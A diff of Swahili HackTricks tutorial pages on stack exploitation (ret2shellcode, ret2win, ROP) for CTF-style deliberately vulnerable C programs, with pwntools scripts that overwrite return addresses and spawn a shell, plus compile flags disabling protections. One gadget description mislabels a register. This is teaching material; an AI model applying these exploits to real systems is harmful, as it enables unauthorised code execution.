* `-z execstack`: Inafanya stack iweze kutekelezwa, ambayo ni muhimu kwa kutekeleza shellcode iliyohifadhiwa kwenye stack.
|
||||
* `-no-pie`: Inazuia Position Independent Executable, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwepo.
|
||||
* `-m32`: Inakusanya programu kama utekelezaji wa biti 32, mara nyingi hutumiwa kwa urahisi katika maendeleo ya shambulio.
|
||||
|
||||
### Shambulio la Python kutumia Pwntools
|
||||
|
||||
Hapa ndivyo unavyoweza kuandika shambulio katika Python ukitumia **pwntools** kutekeleza shambulio la **ret2shellcode**.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
context.arch = 'i386' # Specify the architecture
|
||||
|
||||
# Generate the shellcode
|
||||
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||||
|
||||
# Find the offset to EIP
|
||||
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||||
|
||||
# Prepare the payload
|
||||
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||||
nop_slide = asm('nop') * (offset - len(shellcode))
|
||||
payload = nop_slide + shellcode
|
||||
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||||
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Hati hii inajenga mzigo unaoundwa na **NOP slide**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye NOP slide, ikisimamia shellcode kutekelezwa.
|
||||
|
||||
**NOP slide** (`asm('nop')`) hutumiwa kuongeza nafasi kwamba utekelezaji uta "kusukuma" kuingia kwenye shellcode yetu bila kujali anwani sahihi. Badilisha hoja ya `p32()` kwa anwani ya kuanzia ya buffer yako pamoja na kufanya marekebisho ili kutua kwenye NOP slide.
|
||||
|
||||
## Kinga
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **inapaswa kuzimwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
|
||||
* [**NX**](../common-binary-protections/no-exec-nx.md) kinga ya **stack** itazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
|
||||
|
||||
## Mifano Mingine
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,89 @@
|
|||
# Ret2win
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
**Mashindano ya Ret2win** ni jamii maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **udukuzi wa binary**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyoitwa ndani ya binary, mara nyingi ikiitwa kama `win`, `ret2win`, n.k. Kazi hii, inapotekelezwa, kawaida huchapisha bendera au ujumbe wa mafanikio. Changamoto kawaida inahusisha kubadilisha **anwani ya kurudi** kwenye steki ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo zaidi pamoja na mifano:
|
||||
|
||||
### Mfano wa C
|
||||
|
||||
Fikiria programu rahisi ya C yenye udhaifu na kazi ya `win` ambayo tunakusudia kuita:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ili kutekeleza programu hii bila ulinzi wa stack na na **ASLR** imelemazwa, unaweza kutumia amri ifuatayo:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Kompilisha programu kama binary ya biti 32 (hii ni ya hiari lakini kawaida katika changamoto za CTF).
|
||||
* `-fno-stack-protector`: Lemaza ulinzi dhidi ya kujaa kwa steki.
|
||||
* `-z execstack`: Ruhusu utekelezaji wa nambari kwenye steki.
|
||||
* `-no-pie`: Lemaza Position Independent Executable ili kuhakikisha anwani ya kazi ya `win` haibadiliki.
|
||||
* `-o vulnerable`: Ita faili ya pato `vulnerable`.
|
||||
|
||||
### Mbinu ya Kutumia Python Kudukua kwa Kutumia Pwntools
|
||||
|
||||
Kwa kudukua, tutatumia **pwntools**, mfumo imara wa CTF kwa kuandika udanganyifu. Skripti ya kudukua itaunda mzigo wa kujaa na kubadilisha anwani ya kurudi na anwani ya kazi ya `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context for the binary
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
|
||||
# Find the address of the win function
|
||||
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
||||
|
||||
# Create the payload
|
||||
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
||||
payload = b'A' * 68 + win_addr
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au chombo kingine chochote kinachokuwezesha kukagua faili za binary. Kwa mfano, na `objdump`, unaweza kutumia:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Amri hii itakuonyesha mkusanyiko wa `win` function, pamoja na anwani yake ya kuanzia.
|
||||
|
||||
Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na `vulnerable_function`, unafunika kijazo na kubadilisha anwani ya kurudi kwenye steki na anwani ya `win`. Wakati `vulnerable_function` inaporudi, badala ya kurudi kwa `main` au kutoka, inaruka kwa `win`, na ujumbe unachapishwa.
|
||||
|
||||
## Kinga
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **inapaswa kuwa imelemazwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na unahitaji kuvuja fulani ili kugundua wapi win function imehifadhiwa.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) pia inapaswa kuwa imelemazwa au anwani iliyoharibiwa ya kurudi EIP haitafuatwa kamwe.
|
||||
|
||||
## Mifano Mingine
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
|
@ -0,0 +1,88 @@
|
|||
# ROP - Programu ya Kurudi kwa Mwelekeo
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Taarifa Msingi**
|
||||
|
||||
**Programu ya Kurudi kwa Mwelekeo (ROP)** ni mbinu ya kudukua ya juu inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.
|
||||
|
||||
### Mipangilio ya Wito
|
||||
|
||||
Kuelewa **mipangilio ya wito** ni muhimu kwa kujenga minyororo ya ROP yenye ufanisi, hasa wakati wa kuita kazi au kubadilisha data:
|
||||
|
||||
**x86 (32-bit)**
|
||||
|
||||
* **cdecl**: Mwito hufuta steki. Vigezo vya kazi hupakuliwa kwenye steki kwa mpangilio wa kurudi (kulia-kushoto). **Vigezo hupakuliwa kwenye steki kutoka kulia kwenda kushoto.**
|
||||
* **stdcall**: Kama cdecl, lakini mpokeaji anahusika na kufuta steki.
|
||||
|
||||
**x64 (64-bit)**
|
||||
|
||||
* Hutumia mbinu ya kuita ya **System V AMD64 ABI** kwenye mifumo inayofanana na Unix, ambapo **vigezo sita vya nambari au pointa hupitishwa kwenye rejista `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye `RAX`.
|
||||
* Mbinu ya kuita ya **Windows x64** hutumia `RCX`, `RDX`, `R8`, na `R9` kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye `RAX`.
|
||||
* **Rejista**: Rejista za 64-bit ni pamoja na `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kutoka kwenye mifumo hiyo ya kuita, inawezekana kuona kwamba katika **biti 32 vigezo** kwa kazi zinapitishwa kupitia **steki** wakati katika **x64** zinawekwa kwenye **rejista maalum**.
|
||||
{% endhint %}
|
||||
|
||||
### Jinsi ROP Inavyofanya Kazi
|
||||
|
||||
1. **Udukuzi wa Mwelekeo wa Udhibiti**: Kwanza, muhusika anahitaji kudukua mwelekeo wa udhibiti wa programu, kwa kawaida kwa kutumia kosa la kujaza kijazo ili kubadilisha anwani iliyohifadhiwa ya kurudi kwenye steki.
|
||||
2. **Ujenzi wa Minyororo ya Gadgets**: Muhusika kisha kwa uangalifu huchagua na kuunganisha vipande vya gadgets kutekeleza vitendo vinavyotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., `system("/bin/sh")`), na kushughulikia usafi au operesheni zingine zinazohitajika.
|
||||
3. **Utekelezaji wa Mzigo wa Data**: Wakati kazi inayoweza kudukuliwa inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza minyororo ya gadgets.
|
||||
|
||||
### Minyororo ya ROP katika x86
|
||||
|
||||
Tuchukulie hali ya dhana ambapo tunataka kuita `system("/bin/sh")` kwa kutumia ROP kwenye binary ya biti 32:
|
||||
|
||||
1. **Pata Gadgets**: Fikiria tumepata vipande vifuatavyo vya gadgets kwenye binary au maktaba zilizopakiwa:
|
||||
* `pop eax; ret`: Hupakua juu ya steki kwenda `EAX` na kurudi.
|
||||
* `pop ebx; ret`: Hupakua juu ya steki kwenda `EAX` na kurudi.
|
||||
* `mov [ebx], eax; ret`: Inahamisha thamani kwenye `EAX` kwenye eneo linaloelekezwa na `EBX`.
|
||||
* Anwani ya `system`.
|
||||
2. **Andaa Minyororo**: Tunahitaji kuandaa steki inayoonekana kama hii:
|
||||
* Anwani ya gadget inayoweka `EBX`.
|
||||
* Anwani ya gadget ya `pop eax; ret`.
|
||||
* Anwani ya herufi `"/bin/sh"` kwenye kumbukumbu (au mahali ambapo tunapanga kuandika).
|
||||
* Anwani ya gadget ya `mov [ebx], eax; ret`, kuhamisha `"/bin/sh"` kwenye eneo linaloelekezwa na `EBX`.
|
||||
* Anwani ya kazi ya `system`, na `EBX` ikiashiria herufi yetu.
|
||||
3. **Utekelezaji**: Wakati kazi inayoweza kudukuliwa inaporudi, inaanza kutekeleza minyororo yetu ya gadgets, hatimaye kuita `system("/bin/sh")`, na kutoa kidhibiti.
|
||||
|
||||
### ROP katika x64
|
||||
|
||||
Fikiria hali ya dhana ambapo unataka kuita `execve("/bin/sh", NULL, NULL)` kwenye mfumo wa x64 ukitumia System V AMD64 ABI:
|
||||
|
||||
1. **Kupata Gadgets**: Kwanza unahitaji kupata vipande vya gadgets vinavyokuwezesha kudhibiti rejista za `RDI`, `RSI`, na `RDX`, kwani hizi zitashikilia vigezo vya `execve`.
|
||||
2. **Ujenzi wa Minyororo**:
|
||||
* **Weka `RDI` iashirie herufi `"/bin/sh"`**: Kawaida hii hufanywa na gadget ya `pop RDI; ret` ikifuatiwa na anwani ya herufi (ambayo inaweza kuhitajiweka kwenye mzigo wa data au kupatikana kwenye kumbukumbu).
|
||||
* **Futa `RSI` na `RDX`**: Kwa kuwa vigezo vya pili na tatu kwa `execve` ni `NULL`, unahitaji vipande vya kufuta rejista hizi, kama vile `xor RSI, RSI; ret` na `xor RDX, RDX; ret`.
|
||||
* **Piga simu kwa `execve`**: Hatimaye, gadget inayoruka kwa `execve` (au kuita kwa njia isiyo moja kwa moja) inahitajika.
|
||||
3. **Utekelezaji wa Mzigo wa Data**: Baada ya kujenga na kutuma mzigo huu kwa programu inayoweza kudukuliwa, minyororo ya ROP inatekelezwa, ikizalisha kidhibiti.
|
||||
|
||||
Kwa kuwa x64 inatumia rejista kwa vigezo vya mwanzo vichache, mara nyingi inahitaji vipande vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vipande sahihi vya gadgets kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto katika maendeleo ya udanganyifu, hasa katika muktadha wa Programu ya Kurudi kwa Mwelekeo (ROP).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue